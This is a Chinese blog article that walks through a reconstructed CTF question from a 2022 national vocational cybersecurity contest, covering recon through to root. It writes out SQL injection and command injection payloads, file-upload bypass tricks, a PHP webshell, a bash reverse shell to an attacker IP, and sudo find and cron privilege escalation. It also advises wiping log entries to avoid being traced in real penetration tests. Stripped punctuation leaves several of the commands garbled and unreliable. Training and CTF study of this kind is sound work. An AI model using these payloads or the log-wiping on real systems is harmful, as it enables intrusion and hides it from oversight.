十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

从国赛题看实战渗透:手工分析与逻辑推理的思维跃迁

从国赛题看实战渗透:手工分析与逻辑推理的思维跃迁 1. 从一道国赛题看实战渗透的思维跃迁2022年的那场中职网络空间安全国赛对于很多刚入行的朋友来说可能是一道难以逾越的坎。我最近重新复盘了其中的竞赛试题4发现它远不止是一道“找Flag”的题目更像是一个精心设计的、高度贴近真实攻防场景的微型靶场。很多人拿到题目第一反应就是打开扫描器或者照着网上所谓的“万能脚本”一顿操作结果往往卡在某个不起眼的环节时间耗尽一无所获。今天我就以这道题为例抛开那些花里胡哨的自动化工具回归最本质的手工分析与逻辑推理带你走一遍一个合格的安全从业者在面对未知系统时的完整思考路径。这道题的核心价值不在于教会你某个特定漏洞的利用而在于塑造一种“穿透性”的思维模式——如何从一堆杂乱的线索中构建出目标的完整攻击面并找到那条最高效的路径。这道题通常被归类为CTF中的“Web”或“综合”题型但它模拟的恰恰是我们在进行授权渗透测试或src漏洞挖掘时最常见的情景给你一个入口点可能是一个IP一个URL目标系统本身可能由多个服务、多种技术栈混杂而成你的任务就是摸清它的底细并拿到关键数据即Flag。我们将重点拆解信息收集、服务分析、漏洞定位、权限提升与横向移动、数据获取这五个核心阶段并在每个阶段穿插我踩过的坑和总结出的“笨办法”这些往往是自动化工具无法教会你的。2. 信息收集超越Nmap与Dirsearch的“人工”视角拿到目标地址假设是http://target_ip:port或一个具体的域名绝大多数人的第一步是祭出Nmap进行端口扫描用Dirsearch或Gobuster进行目录爆破。这没错但这是“机器”的视角。作为一个分析师你的“人工”视角应该更早介入并且更细致。2.1 初始交互与“感觉”建立首先直接浏览器访问。不要急着看页面内容先打开开发者工具F12关注以下几个标签页Network网络观察页面加载了哪些资源JS、CSS、图片、API接口。一个/api/v1/user/profile的请求远比一个/admin的目录更能说明问题。注意状态码403、404是常态但一个401可能提示需要认证一个302重定向则指明了登录入口。Console控制台查看是否有JavaScript错误或日志输出。有时开发环境信息、内部API路径甚至硬编码的密钥会在这里泄露。Sources源代码查看前端JavaScript文件。我在这道题里就曾发现前端JS中硬编码了一个用于测试的API密钥该密钥拥有比普通用户更高的权限。自动化扫描器绝不会去“阅读”JS代码的逻辑。Application应用查看Cookies、LocalStorage、SessionStorage。一个名为isAdminfalse的Cookie就是在明示你认证机制的存在和可能的绕过点。然后才是不带任何预设地去浏览页面功能。是一个登录框是一个文件上传点还是一个看似静态的宣传页每一个交互元素都是一个潜在的测试向量。2.2 针对性服务探测与指纹识别接下来才是工具辅助阶段。但使用工具要有明确目的。端口扫描不要只用-sSSYN扫描。对于这道题涉及的常见服务我通常会加上-sV版本探测和-sC默认脚本扫描。例如nmap -sS -sV -sC -p- target_ip。关键不在于扫出全端口而在于精准识别。如果扫出80/http3306/mysql6379/redis那么你脑子里应该立刻浮现出一个“Web数据库缓存”的典型架构。Web路径探测Dirsearch这类工具要用但字典要选对。通用的common.txt不够用。我会根据Nmap识别的中间件如Nginx, Apache, Tomcat和技术栈线索如页面返回X-Powered-By: PHP/7.2组合使用针对性的字典比如php.txt,asp.txt,tomcat.txt。同时要关注探测结果中的“异常”状态码长度和响应内容一个返回“Access Denied”的403和一个返回“Not Found”的404其背后的安全配置可能完全不同。在这一步我个人的笔记里会开始画一张简单的拓扑图开放端口、运行服务、版本号、发现的路径如/login,/upload,/api以及任何可疑的字符串如注释里的邮箱、JS里的内部域名。3. 漏洞挖掘在“预期功能”与“非预期行为”之间信息收集完毕后攻击面就清晰了。国赛题往往会把漏洞藏在“功能逻辑”里而不是一个公开的CVE漏洞利用。这就需要我们进行功能点测试。3.1 认证与授权逻辑测试如果存在登录功能这是重灾区。弱口令爆破虽然是基础但不能蛮干。先尝试最常见的几个admin/admin, admin/123456, root/root等。观察登录失败的错误信息。如果提示“用户名不存在”和“密码错误”不同那么你就可以先枚举出存在的用户名用户名枚举漏洞。逻辑绕过这是本题的一个关键考点。例如登录后的权限校验可能仅仅依靠前端Cookie或一个脆弱的Session机制。通过抓包工具如Burp Suite拦截登录成功后的请求你可能会发现一个参数如roleuser。尝试修改为roleadmin直接重放请求有时就能绕过前端校验实现垂直越权。另一种情况是密码修改功能可能没有验证旧密码或者重置密码的Token可以预测或暴力破解。Session与Cookie操纵查看Session ID的生成规律是否可预测如基于时间戳。Cookie是否明文存储了用户信息如useradmin; authtrue尝试篡改这些值。3.2 输入点测试与命令/代码执行任何用户可控的输入都是潜在的漏洞点表单、URL参数、HTTP头如User-Agent, X-Forwarded-For、文件上传。SQL注入在登录框、搜索框、订单查询等位置尝试、看是否报错。使用时间盲注的Payload如1 AND SLEEP(5)--来判断。但国赛题为了增加难度可能会使用预编译语句PDO来防御常规注入这时就要转向二次注入或寻找其他入口。命令注入常见于网络设备功能、文件管理功能或参数中包含IP、域名的地方。例如一个“Ping测试”功能输入框接收IP后端可能直接拼接成ping -c 3 user_input。尝试输入127.0.0.1; whoami或127.0.0.1 cat /etc/passwd。本题的一个变种是在文件上传后的“文件处理”功能中文件名被带入系统命令。文件上传漏洞这是国赛Web题的常客。关键点在于绕过前端校验仅检查文件后缀修改JS或直接抓包绕过即可。MIME类型校验抓包修改Content-Type为image/jpeg。后缀黑名单尝试大小写.Php、点号绕过.php.、空格绕过.php 、双写后缀.pphphp、利用解析特性.php.jpg, .php3, .phtml。内容校验在文件开头添加图片魔数字节如GIF89a后面再跟PHP代码图片马。路径结合上传成功后的文件访问路径是关键。可能需要结合目录遍历获取绝对路径。3.3 不安全的直接对象引用与信息泄露在题目中经常看到诸如/download?filereport.pdf或/api/user?id123这样的链接。这里就存在IDOR不安全的直接对象引用风险。尝试将id123改为id124或者将filereport.pdf改为file../../../../etc/passwd路径遍历。此外.git目录泄露、.DS_Store文件、备份文件如index.php.bak,www.zip、配置文件config.php,.env泄露都是获取源代码、数据库密码等敏感信息的重要途径需要利用目录扫描工具重点排查。4. 权限提升与内网横向移动突破边界后的战场在国赛综合题中拿到Webshell如通过文件上传传了一个木马往往只是第一步Flag可能不在Web目录下而是在数据库里、在另一个内网机器的文件中或者需要更高系统权限才能读取。4.1 从Web权限到系统权限拿到一个简单的命令执行点如?cmdwhoami或一个Webshell后第一步是信息收集whoami/id查看当前用户权限。uname -a查看系统内核版本寻找本地提权漏洞。cat /etc/passwd查看系统用户。ps aux查看运行进程有没有以root身份运行的服务sudo -l非常重要查看当前用户可以用sudo执行哪些命令。如果看到(ALL) NOPASSWD: /usr/bin/vim那么就可以通过sudo vim然后:!bash直接提权到root。find / -perm -us -type f 2/dev/null查找SUID文件。如果找到/bin/bash或某些可执行文件设置了SUID可能存在提权方法。在本题模拟的环境中我遇到的一种情况是Web服务以www-data用户运行但服务器上有一个定时任务cron job以root身份执行一个所有用户可写的脚本。通过写入反向Shell或命令到该脚本中等待定时任务执行就获得了root权限。查找定时任务可以用crontab -l查看当前用户的或cat /etc/crontab查看系统的。4.2 数据库操作与数据提取Flag常常藏在数据库里。通过Web漏洞获取数据库连接信息从源码、配置文件泄露中或者通过Webshell执行命令连接数据库。MySQLmysql -u username -p password -h host database -e SELECT * FROM flag_table;Redis如果发现开放了6379端口且未授权访问可以直接用redis-cli -h target_ip连接然后使用keys *列出所有键get key_name获取值。Redis甚至可以写Webshell。MongoDB类似可能存在未授权访问。4.3 内网探测与横向移动如果目标机器处于一个内网环境从IP地址如192.168.x.x可判断那么就需要进行内网渗透。网络信息收集ifconfig/ip addr看网卡信息cat /etc/hosts看主机映射netstat -antp看网络连接和监听端口。内网主机发现通过Webshell上传一个静态编译的扫描工具如nmap二进制文件或者利用系统自带的工具进行简易扫描。例如用bash循环ping C段for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i done。端口扫描与服务识别对内网其他IP进行重点端口扫描22/ssh, 80/http, 445/smb等。凭证窃取与重用在当前机器上查找密码文件、历史命令、配置文件、数据库连接字符串这些密码很可能在内网其他机器上复用。建立持久化通道使用反向Shell如bash -i /dev/tcp/your_ip/port 01连接回你的攻击机或者上传一个功能完整的木马以便在内网进行更复杂的操作。5. 综合实战试题4的模拟推演与心路复盘现在让我们把上述所有知识点串起来模拟一下2022年国赛试题4的可能解题流程。请注意以下是我基于常见赛题模式和经验进行的推演并非原题还原但思路是相通的。5.1 第一阶段外网突破与Web入口获取假设目标是一个Web服务。通过Nmap扫描发现80端口开放运行着Nginx 1.18和PHP 7.4。目录扫描发现/admin、/upload、/api、/backup.zip。第一步访问网站是一个简单的文档管理系统。尝试弱口令登录/admin无果。第二步下载并解压backup.zip发现是网站源码备份。审计源码在config.php中发现数据库密码硬编码$db_pass s3cr3t_pssw0rd_2022;。同时在api/user.php中发现一个SQL查询$sql SELECT * FROM users WHERE id . $_GET[id] . ;存在明显的SQL注入。第三步利用SQL注入使用联合查询注入获取管理员密码哈希。例如/api/user.php?id1 UNION SELECT 1,username,password,4 FROM admin_users--。获取到哈希值假设是MD5。第四步尝试在线破解或已知的彩虹表碰撞或者审计源码发现密码哈希是md5($salt . $password)且salt在源码中已知。成功破解出管理员密码。第五步用管理员密码登录/admin后台。踩坑点这里最容易卡住的地方是backup.zip的文件名可能不是直接的而是需要猜测或通过目录扫描发现一个不起眼的www.rar或source.tar.gz。另外源码中的数据库密码可能连接的是本地数据库但通过SQL注入的LOAD_FILE()函数可以读取系统文件为后续提权做准备。5.2 第二阶段权限提升与内网渗透进入后台后发现有文件上传功能但严格限制了后缀名和文件头。第一步通过审计上传处理代码从备份源码中发现它虽然检查了后缀.php不行和文件头必须是图片但在保存文件时直接使用了用户上传时的文件名没有重命名。这就存在路径遍历的可能。第二步制作一个图片马文件名为../../../shell.jpg假设我们知道绝对路径/var/www/html。上传后文件实际被保存到了/var/www/shell.jpg跳出了Web目录但服务器上可能配置了其他虚拟主机能访问到该目录或者我们后续可以通过其他方式访问。第三步后台还有一个“系统日志查看”功能可以读取指定文件。尝试读取/etc/passwd成功。说明存在文件读取漏洞。利用该功能读取我们上传的图片马../../../shell.jpg但由于服务器解析图片中的PHP代码并未执行。第四步结合文件上传和文件读取我们需要一个能执行代码的点。发现后台有“数据库备份”功能备份时调用的是系统命令mysqldump。通过抓包修改备份参数注入命令database_name; whoami /tmp/test.txt。成功执行证明存在命令注入。第五步利用命令注入写入一个真正的Webshell到Web目录database_name; echo ?php system($_GET[c]);? /var/www/html/shell.php。然后访问http://target/shell.php?cwhoami获得Webshell权限是www-data。5.3 第三阶段获取Flag与清理痕迹拿到www-data的Webshell后进行系统信息收集。第一步执行sudo -l发现(ALL) NOPASSWD: /usr/bin/find。这是一个经典的SUDO提权向量。直接执行sudo find / -exec /bin/bash \;或sudo find . -exec /bin/sh \;即可获得一个root权限的Shell。第二步成为root后开始寻找Flag。通常Flag会放在根目录、用户家目录或某个特定目录下文件名可能是flag、flag.txt、key等。使用find / -name *flag* 2/dev/null或find / -type f -exec grep -l flag{ {} \; 2/dev/null来搜索包含特定格式如flag{的文件。第三步在/root目录下找到flag.txt读取内容获得最终Flagflag{Th1s_1s_Th3_F1na1_Fl4g_2022}。第四步竞赛中可做真实渗透测试必须做清理日志删除上传的Webshell文件避免被溯源。检查/var/log/apache2/access.log、/var/log/auth.log等删除与自己IP相关的记录。但国赛环境通常不需要。整个流程从外网信息收集到内网提权拿Flag考验的是一条完整的攻击链构建能力。它要求选手不仅知道每个漏洞点更要知道如何将它们像拼图一样组合起来步步为营。自动化工具能帮你发现“点”但如何连接这些“点”形成“线”和“面”靠的是手工艺者的思维和耐心。这道国赛题正是这样一个绝佳的思维训练场。
返回列表